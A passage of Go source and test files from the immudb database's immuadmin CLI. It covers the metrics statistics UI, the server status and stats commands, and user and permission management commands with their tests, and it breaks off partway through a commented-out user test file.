grpc_server_started_total{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 # HELP immudb_number_of_stored_entries Number of key-value entries currently stored by the database. # TYPE immudb_number_of_stored_entries counter immudb_number_of_stored_entries 2 # HELP immudb_uptime_hours Server uptime in hours. # TYPE immudb_uptime_hours counter immudb_uptime_hours 0.010175722224166666 # HELP process_cpu_seconds_total Total user and system CPU time spent in seconds. # TYPE process_cpu_seconds_total counter process_cpu_seconds_total 0.15 # HELP process_max_fds Maximum number of open file descriptors. # TYPE process_max_fds gauge process_max_fds 1024 # HELP process_open_fds Number of open file descriptors. # TYPE process_open_fds gauge process_open_fds 18 # HELP process_resident_memory_bytes Resident memory size in bytes. # TYPE process_resident_memory_bytes gauge process_resident_memory_bytes 3.0961664e+07 # HELP process_start_time_seconds Start time of the process since unix epoch in seconds. # TYPE process_start_time_seconds gauge process_start_time_seconds 1.59471578385e+09 # HELP process_virtual_memory_bytes Virtual memory size in bytes. # TYPE process_virtual_memory_bytes gauge process_virtual_memory_bytes 5.911216128e+09 # HELP process_virtual_memory_max_bytes Maximum amount of virtual memory available in bytes. # TYPE process_virtual_memory_max_bytes gauge process_virtual_memory_max_bytes -1 # HELP promhttp_metric_handler_requests_in_flight Current number of scrapes being served. # TYPE promhttp_metric_handler_requests_in_flight gauge promhttp_metric_handler_requests_in_flight 1 # HELP promhttp_metric_handler_requests_total Total number of scrapes by HTTP status code. # TYPE promhttp_metric_handler_requests_total counter promhttp_metric_handler_requests_total{code="200"} 1 promhttp_metric_handler_requests_total{code="500"} 0 promhttp_metric_handler_requests_total{code="503"} 0 `) ================================================ FILE: cmd/immuadmin/command/stats/ui.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stats import ( "fmt" "time" ui "github.com/gizak/termui/v3" ) // Statsui ... type Statsui interface { } type statsui struct { cntrl Controller Loader MetricsLoader Tui Tui } func (s statsui) loadAndRender() error { ms, err := s.Loader.Load() if err != nil { return err } s.cntrl.Render(ms) return nil } func (s statsui) runUI(singleRun bool) error { if err := s.Tui.Init(); err != nil { return fmt.Errorf("failed to initialize termui: %v", err) } defer s.Tui.Close() ms, err := s.Loader.Load() if err != nil { return err } s.cntrl = newStatsController(ms.isHistogramsDataAvailable(), s.Tui) if err := s.loadAndRender(); err != nil { return err } ev := s.Tui.PollEvents() ticker := time.NewTicker(requestTimeout) defer ticker.Stop() tick := ticker.C for { select { case e := <-ev: switch e.Type { case ui.KeyboardEvent: switch e.ID { case "q", "", "": return nil } case ui.ResizeEvent: s.cntrl.Resize() } case <-tick: if err := s.loadAndRender(); err != nil { return err } if singleRun { return nil } } } } ================================================ FILE: cmd/immuadmin/command/stats/ui_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stats import ( "bytes" "testing" "github.com/codenotary/immudb/cmd/immuadmin/command/stats/statstest" "github.com/prometheus/common/expfmt" "github.com/stretchr/testify/assert" ) func TestRunUI(t *testing.T) { sui := statsui{Loader: metricsLoaderMock{}, Tui: tuiMock{}} err := sui.runUI(true) assert.NoError(t, err) } type metricsLoaderMock struct{} func (ml metricsLoaderMock) Load() (*metrics, error) { textParser := expfmt.TextParser{} metricsFamilies, _ := textParser.TextToMetricFamilies(bytes.NewReader(statstest.StatsResponse)) ms := &metrics{} ms.populateFrom(&metricsFamilies) return ms, nil } ================================================ FILE: cmd/immuadmin/command/stats.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "fmt" "time" "github.com/spf13/cobra" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immuadmin/command/stats" "github.com/codenotary/immudb/pkg/api/schema" ) func (cl *commandline) status(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "status", Short: "Show heartbeat status", Aliases: []string{"p"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { ctx := cl.context info, err := cl.immuClient.ServerInfo(ctx, &schema.ServerInfoRequest{}) if err != nil { c.QuitWithUserError(err) } startedAt := time.Unix(info.StartedAt, 0) uptime := time.Now().Truncate(time.Second).Sub(startedAt) fmt.Fprintf( cmd.OutOrStdout(), "Status:\t\tOK - server is reachable and responding to queries\nVersion:\t%s\nUp time:\t%s (up %s)\nDatabases:\t%d (%s)\nTransactions:\t%d\n", info.Version, startedAt.Format(time.RFC822), uptime, info.NumDatabases, c.FormatByteSize(uint64(info.DatabasesDiskSize)), info.NumTransactions, ) return nil }, Args: cobra.NoArgs, } cmd.AddCommand(ccmd) } func (cl *commandline) stats(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "stats", Short: "Show statistics as text or visually with the '-v' option. Run 'immuadmin stats -h' for details.", Aliases: []string{"s"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { raw, err := cmd.Flags().GetBool("raw") if err != nil { c.QuitToStdErr(err) } options := cl.immuClient.GetOptions() if raw { if err := stats.ShowMetricsRaw(cmd.OutOrStderr(), options.Address); err != nil { c.QuitToStdErr(err) } return nil } text, err := cmd.Flags().GetBool("text") if err != nil { c.QuitToStdErr(err) } if text { if err := stats.ShowMetricsAsText(cmd.OutOrStderr(), options.Address); err != nil { c.QuitToStdErr(err) } return nil } if err := stats.ShowMetricsVisually(options.Address); err != nil { c.QuitToStdErr(err) } return nil }, Args: cobra.NoArgs, } ccmd.Flags().BoolP("text", "t", false, "show statistics as text instead of the default graphical view") ccmd.Flags().BoolP("raw", "r", false, "show raw statistics") cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuadmin/command/stats_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "bytes" "context" "io/ioutil" "log" "net/http" "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" "github.com/codenotary/immudb/cmd/cmdtest" "github.com/codenotary/immudb/cmd/immuadmin/command/stats/statstest" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestStats_Status(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDir(t.TempDir()) cliopt.DialOptions = dialOptions clientb, _ := client.NewImmuClient(cliopt) tkf := cmdtest.RandString() cl := commandline{ options: cliopt, immuClient: clientb, passwordReader: &clienttest.PasswordReaderMock{}, context: context.Background(), ts: tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf), } cmd, _ := cl.NewCmd() cl.status(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"status"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil statcmd := cmd.Commands()[0] statcmd.PersistentPreRunE = nil cmd.Execute() out, err := ioutil.ReadAll(b) require.NoError(t, err) assert.Contains(t, string(out), "OK - server is reachable and responding to queries") assert.Contains(t, string(out), "Version") assert.Contains(t, string(out), "Up time") assert.Contains(t, string(out), "Databases") assert.Contains(t, string(out), "Transactions") } func TestStats_StatsText(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() handler := http.NewServeMux() handler.HandleFunc("/metrics", func(w http.ResponseWriter, r *http.Request) { if _, err := w.Write(statstest.StatsResponse); err != nil { log.Fatal(err) } }) server := &http.Server{Addr: ":9497", Handler: handler} go server.ListenAndServe() defer server.Close() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDir(t.TempDir()) cliopt.DialOptions = dialOptions cliopt.Address = "127.0.0.1" clientb, _ := client.NewImmuClient(cliopt) tkf := cmdtest.RandString() cl := commandline{ options: cliopt, immuClient: clientb, passwordReader: &clienttest.PasswordReaderMock{}, context: context.Background(), ts: tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf), } cmd, _ := cl.NewCmd() cl.stats(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"stats", "--text"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil statcmd := cmd.Commands()[0] statcmd.PersistentPreRunE = nil cmd.Execute() out, err := ioutil.ReadAll(b) require.NoError(t, err) assert.Contains(t, string(out), "Database") } func TestStats_StatsRaw(t *testing.T) { options := server.DefaultOptions().WithAuth(true).WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() handler := http.NewServeMux() handler.HandleFunc("/metrics", func(w http.ResponseWriter, r *http.Request) { _, _ = w.Write(statstest.StatsResponse) }) server := &http.Server{Addr: ":9497", Handler: handler} go server.ListenAndServe() defer server.Close() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDir(t.TempDir()) cliopt.DialOptions = dialOptions cliopt.Address = "127.0.0.1" clientb, _ := client.NewImmuClient(cliopt) tkf := cmdtest.RandString() cl := commandline{ options: cliopt, immuClient: clientb, passwordReader: &clienttest.PasswordReaderMock{}, context: context.Background(), ts: tokenservice.NewFileTokenService().WithHds(newHomedirServiceMock()).WithTokenFileName(tkf), } cmd, _ := cl.NewCmd() cl.stats(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"stats", "--raw"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil statcmd := cmd.Commands()[0] statcmd.PersistentPreRunE = nil cmd.Execute() out, err := ioutil.ReadAll(b) require.NoError(t, err) assert.Contains(t, string(out), "go_gc_duration_seconds") } ================================================ FILE: cmd/immuadmin/command/user.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "bufio" "bytes" "context" "errors" "fmt" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/spf13/cobra" ) const unsecurePasswordMsg = "A strong password (containing upper and lower case letters, digits and symbols) would be advisable" func (cl *commandline) user(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "user command", Short: "Issue all user commands", Aliases: []string{"u"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, } userListCmd := &cobra.Command{ Use: "list", Short: "List all users", RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.userList(args) if err != nil { c.QuitToStdErr(err) } fmt.Fprint(cmd.OutOrStdout(), resp) return nil }, Args: cobra.MaximumNArgs(0), } userCreate := &cobra.Command{ Use: "create", Short: "Create a new user", Long: "Create a new user inside a database with permissions", Example: `immuadmin user create user1 read mydb immuadmin user create user1 readwrite mydb immuadmin user create user1 admin mydb`, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.userCreate(cmd, args) if err != nil { c.QuitToStdErr(err) } fmt.Fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.RangeArgs(2, 3), } userChangePassword := &cobra.Command{ Use: "changepassword", Short: "Change user password", Example: "immuadmin user changepassword user1", RunE: func(cmd *cobra.Command, args []string) (err error) { username := args[0] var resp string var oldpass []byte if username == auth.SysAdminUsername { oldpass, err = cl.passwordReader.Read("Old password:") if err != nil { return fmt.Errorf("Error Reading Password") } } if resp, _, err = cl.changeUserPassword(cmd, username, oldpass); err == nil { fmt.Fprintln(cmd.OutOrStdout(), resp) } return err }, Args: cobra.ExactArgs(1), } userActivate := &cobra.Command{ Use: "activate", Short: "Activate a user", RunE: func(cmd *cobra.Command, args []string) (err error) { var resp string if resp, err = cl.setActiveUser(args, true); err == nil { fmt.Fprint(cmd.OutOrStdout(), resp) } return err }, Args: cobra.ExactArgs(1), } userDeactivate := &cobra.Command{ Use: "deactivate", Short: "Deactivate a user", RunE: func(cmd *cobra.Command, args []string) (err error) { var resp string if resp, err = cl.setActiveUser(args, false); err == nil { fmt.Fprint(cmd.OutOrStdout(), resp) } return err }, Args: cobra.ExactArgs(1), } userPermission := &cobra.Command{ Use: "permission [grant|revoke] {username} [read|readwrite|admin] {database}", Short: "Set user permission", Example: "immuadmin user permission grant user1 readwrite mydb", RunE: func(cmd *cobra.Command, args []string) (err error) { if _, err = cl.setUserPermission(args); err == nil { fmt.Fprintf(cmd.OutOrStdout(), "Permission changed successfully") } return err }, Args: cobra.ExactValidArgs(4), } ccmd.AddCommand(userListCmd) ccmd.AddCommand(userCreate) ccmd.AddCommand(userChangePassword) ccmd.AddCommand(userActivate) ccmd.AddCommand(userDeactivate) ccmd.AddCommand(userPermission) cmd.AddCommand(ccmd) } func (cl *commandline) changeUserPassword(cmd *cobra.Command, username string, oldpassword []byte) (string, []byte, error) { newpass, err := cl.passwordReader.Read(fmt.Sprintf("Choose a password for %s:", username)) if err != nil { return "", nil, errors.New("Error Reading Password") } if err := cl.checkPassword(cmd, string(newpass)); err != nil { return "", nil, err } pass2, err := cl.passwordReader.Read("Confirm password:") if err != nil { return "", nil, errors.New("Error Reading Password") } if !bytes.Equal(newpass, pass2) { return "", nil, errors.New("Passwords don't match") } if err := cl.immuClient.ChangePassword(cl.context, []byte(username), oldpassword, newpass); err != nil { return "", nil, err } return fmt.Sprintf("%s's password has been changed", username), newpass, nil } func (cl *commandline) checkPassword(cmd *cobra.Command, newpass string) error { if err := auth.IsStrongPassword(string(newpass)); err == nil { return nil } c.PrintfColorW(cmd.OutOrStdout(), c.Yellow, "%s.\nDo you want to continue with your password instead? [Y/n]\n", unsecurePasswordMsg) selected, err := cl.terminalReader.ReadFromTerminalYN("n") if err != nil { return err } if selected != "y" { return errors.New("unable to change password") } return nil } func (cl *commandline) userList(args []string) (string, error) { userlist, err := cl.immuClient.ListUsers(cl.context) if err != nil { return "", err } users := userlist.GetUsers() usersAndPermissions := make([][]string, 0, len(users)) maxColWidths := make([]int, 6) for _, user := range users { row := make([]string, 6) permissions := user.GetPermissions() row[0] = string(user.GetUser()) row[1] = fmt.Sprintf("%t", user.GetActive()) if len(permissions) > 0 { row[2] = permissions[0].Database row[3] = permissionToString(permissions[0].Permission) } row[4] = user.Createdby row[5] = user.Createdat updateMaxLen(maxColWidths, row) usersAndPermissions = append(usersAndPermissions, row) // extra rows for other dbs and permissions if len(permissions) > 1 { for i := 1; i < len(permissions); i++ { row := make([]string, 6) row[2] = permissions[i].Database row[3] = permissionToString(permissions[i].Permission) usersAndPermissions = append(usersAndPermissions, row) updateMaxLen(maxColWidths, row) } } } var b bytes.Buffer w := bufio.NewWriter(&b) c.PrintTable( w, []string{ fmt.Sprintf("% -*s", maxColWidths[0], "User"), fmt.Sprintf("% -*s", maxColWidths[1], "Active"), fmt.Sprintf("% -*s", maxColWidths[2], "Database"), fmt.Sprintf("% -*s", maxColWidths[3], "Permission"), fmt.Sprintf("% -*s", maxColWidths[4], "Created By"), fmt.Sprintf("% -*s", maxColWidths[5], "Created At"), }, len(usersAndPermissions), func(i int) []string { return usersAndPermissions[i] }, fmt.Sprintf("%d user(s)", len(users)), ) w.Flush() return b.String(), nil } func updateMaxLen(maxs []int, strs []string) { for i, str := range strs { if len(str) > maxs[i] { maxs[i] = len(str) } } } func permissionToString(permission uint32) string { switch permission { case auth.PermissionAdmin: return "Admin" case auth.PermissionSysAdmin: return "System Admin" case auth.PermissionR: return "Read" case auth.PermissionRW: return "Read/Write" default: return fmt.Sprintf("unknown: %d", permission) } } func (cl *commandline) userCreate(cmd *cobra.Command, args []string) (string, error) { username := args[0] permissionStr := args[1] var databasename string if len(args) == 3 { databasename = args[2] } // validations usernameTaken, err := userExists(cl.context, cl.immuClient, username) if err != nil { return "", err } if usernameTaken { return "", fmt.Errorf("User %s already exists", username) } if databasename != "" { existingDb, err := dbExists(cl.context, cl.immuClient, databasename) if err != nil { return "", err } if !existingDb { return "", fmt.Errorf("Database %s does not exist", databasename) } } permission, err := permissionFromString(permissionStr) if err != nil { return "", err } pass, err := cl.passwordReader.Read(fmt.Sprintf("Choose a password for %s:", username)) if err != nil { return "", fmt.Errorf("Error Reading Password") } if err := cl.checkPassword(cmd, string(pass)); err != nil { return "", err } pass2, err := cl.passwordReader.Read("Confirm password:") if err != nil { return "", fmt.Errorf("Error Reading Password") } if !bytes.Equal(pass, pass2) { return "", fmt.Errorf("Passwords don't match") } err = cl.immuClient.CreateUser(cl.context, []byte(username), pass, permission, databasename) if err != nil { return "", err } return fmt.Sprintf("Created user %s", username), nil } func (cl *commandline) setActiveUser(args []string, active bool) (string, error) { username := args[0] err := cl.immuClient.SetActiveUser(cl.context, &schema.SetActiveUserRequest{ Active: active, Username: username, }) if err != nil { return "", err } return "User status changed successfully", nil } func (cl *commandline) setUserPermission(args []string) (resp string, err error) { var permissionAction schema.PermissionAction switch args[0] { case "grant": permissionAction = schema.PermissionAction_GRANT case "revoke": permissionAction = schema.PermissionAction_REVOKE default: return "", fmt.Errorf("wrong permission action. Only grant or revoke are allowed. Provided: %s", args[0]) } username := args[1] permission, err := permissionFromString(args[2]) if err != nil { return "", err } dbname := args[3] return "", cl.immuClient.ChangePermission(cl.context, permissionAction, username, dbname, permission) } func userExists( ctx context.Context, immuClient client.ImmuClient, username string, ) (bool, error) { existingUsers, err := immuClient.ListUsers(ctx) if err != nil { return false, err } for _, eu := range existingUsers.GetUsers() { if string(eu.GetUser()) == username { return true, nil } } return false, nil } func dbExists( ctx context.Context, immuClient client.ImmuClient, dbName string, ) (bool, error) { existingDBs, err := immuClient.DatabaseList(ctx) if err != nil { return false, err } for _, db := range existingDBs.GetDatabases() { if db.GetDatabaseName() == dbName { return true, nil } } return false, nil } func permissionFromString(permissionStr string) (uint32, error) { var permission uint32 switch permissionStr { case "read": permission = auth.PermissionR case "admin": permission = auth.PermissionAdmin case "readwrite": permission = auth.PermissionRW default: return 0, fmt.Errorf( "Permission %s not recognized: allowed permissions are read, readwrite, admin", permissionStr) } return permission, nil } ================================================ FILE: cmd/immuadmin/command/user_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin /* import ( "bytes" "context" "errors" "fmt" "google.golang.org/grpc/metadata" "io/ioutil" "strings" "testing" "time" "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestUserList(t *testing.T) { bs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)) bs.Start() defer bs.Stop() pr := &immuclienttest.PasswordReader{ Pass: []string{"immudb"}, } ctx := context.Background() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) clientb, _ := client.NewImmuClient(cliopt) token, err := clientb.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", token.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) cmdl := commandline{ options: cliopt, immuClient: clientb, passwordReader: pr, context: ctx, } cmd, _ := cmdl.NewCmd() cmdl.user(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"user", "list"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil usrcmd := cmd.Commands()[0] usrcmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "immudb") } func TestUserListErrors(t *testing.T) { immuClientMock := &clienttest.ImmuClientMock{} cl := &commandline{ immuClient: immuClientMock, } errListUsers := errors.New("list users error") immuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) { return nil, errListUsers } _, err := cl.userList(nil) require.ErrorIs(t, err, errListUsers) immuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) { return &schema.UserList{ Users: []*schema.User{ &schema.User{ User: []byte("immudb"), Permissions: []*schema.Permission{ &schema.Permission{Database: "*", Permission: auth.PermissionSysAdmin}, }, Createdby: "immudb", Createdat: time.Now().String(), Active: true, }, &schema.User{ User: []byte("user1"), Permissions: []*schema.Permission{ &schema.Permission{Database: "db2", Permission: auth.PermissionAdmin}, &schema.Permission{Database: "db3", Permission: auth.PermissionR}, &schema.Permission{Database: "db4", Permission: auth.PermissionRW}, &schema.Permission{Database: "db5", Permission: 999}, }, Createdby: "immudb", Createdat: time.Now().String(), Active: true, }, }, }, nil } resp, err := cl.userList(nil) require.NoError(t, err) require.Contains(t, resp, "unknown: 999") } func TestUserChangePassword(t *testing.T) { bs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)) bs.Start() defer bs.Stop() pr := &immuclienttest.PasswordReader{ Pass: []string{"immudb", "MyUser@9", "MyUser@9"}, } ctx := context.Background() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) clientb, _ := client.NewImmuClient(cliopt) token, err := clientb.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", token.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) cmdl := commandline{ options: cliopt, immuClient: clientb, passwordReader: pr, context: ctx, } cmd, _ := cmdl.NewCmd() cmdl.user(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"user", "changepassword", "immudb"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil usrcmd := cmd.Commands()[0] usrcmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "immudb's password has been changed") } func TestUserChangePasswordErrors(t *testing.T) { pwReaderMock := &clienttest.PasswordReaderMock{} immuClientMock := &clienttest.ImmuClientMock{} cl := &commandline{ passwordReader: pwReaderMock, immuClient: immuClientMock, } username := "user1" oldPass := []byte("Oldpa$$1") pwReaderMock.ReadF = func(string) ([]byte, error) { return nil, errors.New("password read error") } _, _, err := cl.changeUserPassword(username, oldPass) require.EqualError(t, err, "Error Reading Password") pwReaderMock.ReadF = func(string) ([]byte, error) { return []byte("weakpass"), nil } _, _, err = cl.changeUserPassword(username, oldPass) require.Equal( t, errors.New("password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol"), err) pwReadCounter := 0 goodPass1 := []byte("GoodPass1!") pwReaderMock.ReadF = func(string) ([]byte, error) { pwReadCounter++ if pwReadCounter == 1 { return goodPass1, nil } return nil, errors.New("password read 2 error") } _, _, err = cl.changeUserPassword(username, oldPass) require.EqualError(t, err, "Error Reading Password") pwReadCounter = 0 pwReaderMock.ReadF = func(string) ([]byte, error) { pwReadCounter++ if pwReadCounter == 1 { return goodPass1, nil } return []byte("GoodPass2!"), nil } _, _, err = cl.changeUserPassword(username, oldPass) require.EqualError(t, err, "Passwords don't match") pwReaderMock.ReadF = func(string) ([]byte, error) { return goodPass1, nil } errChangePass := errors.New("Change password error") immuClientMock.ChangePasswordF = func(context.Context, []byte, []byte, []byte) error { return errChangePass } _, _, err = cl.changeUserPassword(username, oldPass) require.ErrorIs(t, err, errChangePass) immuClientMock.ChangePasswordF = func(context.Context, []byte, []byte, []byte) error { return nil } resp, newPass, err := cl.changeUserPassword(username, oldPass) require.NoError(t, err) require.Equal(t, fmt.Sprintf("%s's password has been changed", username), resp) require.Equal(t, string(goodPass1), string(newPass)) } func TestUserCreate(t *testing.T) { bs := servertest.NewBufconnServer(server.DefaultOptions().WithAuth(true).WithInMemoryStore(true)) bs.Start() defer bs.Stop() pr := &immuclienttest.PasswordReader{ Pass: []string{"immudb"}, } ctx := context.Background() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) clientb, _ := client.NewImmuClient(cliopt) token, err := clientb.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", token.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) pr = &immuclienttest.PasswordReader{ Pass: []string{"MyUser@9", "MyUser@9"}, } cmdl := commandline{ options: cliopt, immuClient: clientb, passwordReader: pr, context: ctx, } cmd, _ := cmdl.NewCmd() cmdl.user(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"user", "create", "newuser", "readwrite", "defaultdb"}) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil usrcmd := cmd.Commands()[0] usrcmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "Created user newuser") } func TestUserCreateErrors(t *testing.T) { pwReaderMock := 